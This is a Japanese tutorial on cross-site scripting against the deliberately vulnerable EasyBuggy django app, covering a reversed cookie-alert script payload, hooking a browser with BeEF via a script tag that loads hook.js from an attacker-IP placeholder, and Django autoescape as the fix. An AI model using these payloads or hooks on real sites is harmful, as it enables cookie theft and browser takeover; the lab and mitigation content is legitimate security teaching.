EasyBuggy djangoでXSS (by BeEF)

#この記事を読むと何がわかる？
・XSS（クロスサイトスプリクティング）の概要
・XSSツールであるBeEFの使い方
・XSSに対して脆弱性のあるdjangoのコードと対策法（まだ）

#はじめに
[EasyBuggy django](https://github.com/k-tamura/easybuggy4django)を使って，XSS（クロスサイトスプリクティング）という手法でつついてみましょう．XSSには[BeEF](https://beefproject.com/)という便利なツールもあるのでそれも使います．
環境構築は[こちらの記事](https://qiita.com/watanta/items/7fede39e30aa7614e26c)です．

#XSSとは
javascriptを悪用していろいろするものらしいです．詳しい説明は~~わからないので~~置いといて，実際の動作を見ていきましょう．
#EasyBuggy djangoでのXSS
EasyBuggyでのXSSのページは次のような画面です．

![image.png](https://qiita-image-store.s3.amazonaws.com/0/132734/efcfece9-5263-bcdf-6d3f-f7fad884f11c.png)

入力欄が用意してあって，文字列を入力すると逆並びにして表示してくれるサービスです．

表示されているように">tpircs/<;)eikooc.tnemucod(trela>tpIrcs<"と入力してみます．
![image.png](https://qiita-image-store.s3.amazonaws.com/0/132734/9feccd32-d0ea-b71e-7306-5531dcd6e753.png)

なにか出て来ちゃいけないものが出てきてしまった感じがします．何が起こったのでしょうか．

本来なら逆並びの文字列が表示されるべきところのHTMLを確認してみると，つぎのような記述が見つかります．


```
<scrIpt>alert(document.cookie);</script> 
```

これは>tpircs/<;)eikooc.tnemucod(trela>tpIrcs<の逆さ並びなので，こうなることは理解できます．そして，このコードがjavascriptです．今回のコードでは，cookieの情報をポップアップで表示するという動作をします．

つまり，javascriptと解釈できるような文字列を入力することにより，想定していないような動作を起こすことがXSSです．

#Let's exploit!
上の例だと自分のcookieを表示しただけで何がおかしいのかと思うかもしれません．しかし，重要なことは，javascriptをブラウザ上で操作できるということです．つまり，javascriptでできることならできるということです．いろいろできそう．

javascriptのコードを書くことにより様々なことができるはずですが，~~僕はjavascript書けないので~~,楽をするために[BeEF](https://beefproject.com/)をつかいます．

#BeEF
BeEFはkaliに標準で入っています．アイコンクリックで起動すると，ブラウザでログイン画面が開きます．id,passともにbeefです．ログイン後は次のような画面になります．

![image.png](https://qiita-image-store.s3.amazonaws.com/0/132734/d35f019a-eb6c-25ac-2e83-b5dd9e58a500.png)

BeEFを使うためには，標的のPCをhookする必要があります．標的に次のコードを実行させればhookできます．

```
<script src="http://<IP>:3000/hook.js"></script>
```

<IP>には(BeEFを起動している)攻撃側のIPアドレスを入力してください．

#実行例
ubuntu側でhookされるためのコードを実行し，BeEFからubuntu側のブラウザにメッセージを表示したいと思います．

![gif.gif](https://qiita-image-store.s3.amazonaws.com/0/132734/c929ab7d-f2c9-0b78-4119-b552fd716688.gif)

うまくいきました！他にもブラウザのアップデートを装ってバックドアを実行させる方法などもあり，いろいろできます．

#XSSの対策
XSSの対策として，特別な意味を持つ文字をそのまま処理せずに，置き換えて処理する方法（エスケープ）があります．特別な文字としては，<>&'"などが挙げられます．
phpの例ですが，[こちらの記事](https://qiita.com/mpyw/items/565b3670dd0c7f9162fa)が参考になります．

#EasyBuggyソースの確認
EasyBuggyでの該当コードを確認してみましょう．

```xss.html
{% extends "base.html" %}
{% load i18n %}
{% block body %}
{% include "header.html" %}
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    {% csrf_token %}
    <p>{% trans 'description.reverse.string' %}</p><br/>
    <label>{% trans 'label.string' %}</label><span>: </span>
    <input type="text" name="string" size="100" maxlength="100"/><br/>
    <br/> <input type="submit" value="{% trans 'label.submit' %}"/><br/><br/>
    {% autoescape off %}
    <p>{{ msg }}</p><br/>
    {% endautoescape %}
    <div class="alert alert-info" role="alert">
        <span class="glyphicon glyphicon-info-sign"></span>
        {% trans 'msg.note.xss' %}
    </div>
</form>
{% endblock %}
```

重要な部分は，

```html
{% autoescape off %}
<p>{{ msg }}</p><br/>
{% endautoescape %}
```
の部分です．実はdjangoはデフォルトでは自動的にエスケープするようになっています．上ではこの機能をoffにしています．次のように書き換えてみます．

```xss.html
{% extends "base.html" %}
{% load i18n %}
{% block body %}
{% include "header.html" %}
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    {% csrf_token %}
    <p>{% trans 'description.reverse.string' %}</p><br/>
    <label>{% trans 'label.string' %}</label><span>: </span>
    <input type="text" name="string" size="100" maxlength="100"/><br/>
    <br/> <input type="submit" value="{% trans 'label.submit' %}"/><br/><br/>
    escaped
    <p>{{ msg }}</p><br/>
    not escaped
    {% autoescape off %}
    <p>{{ msg }}</p><br/>
    {% endautoescape %}
    <div class="alert alert-info" role="alert">
        <span class="glyphicon glyphicon-info-sign"></span>
        {% trans 'msg.note.xss' %}
    </div>
</form>
{% endblock %}
```

ブラウザで確認してみましょう．

![xss.gif](https://qiita-image-store.s3.amazonaws.com/0/132734/7a0b25cd-ab96-d221-2ec4-7ba0750b55d1.gif)

自動エスケープを無効化してない方はエスケープがうまく行っていることがわかります．

#まとめ
XSSの悪用方法とdjangoでの対策をまとめました．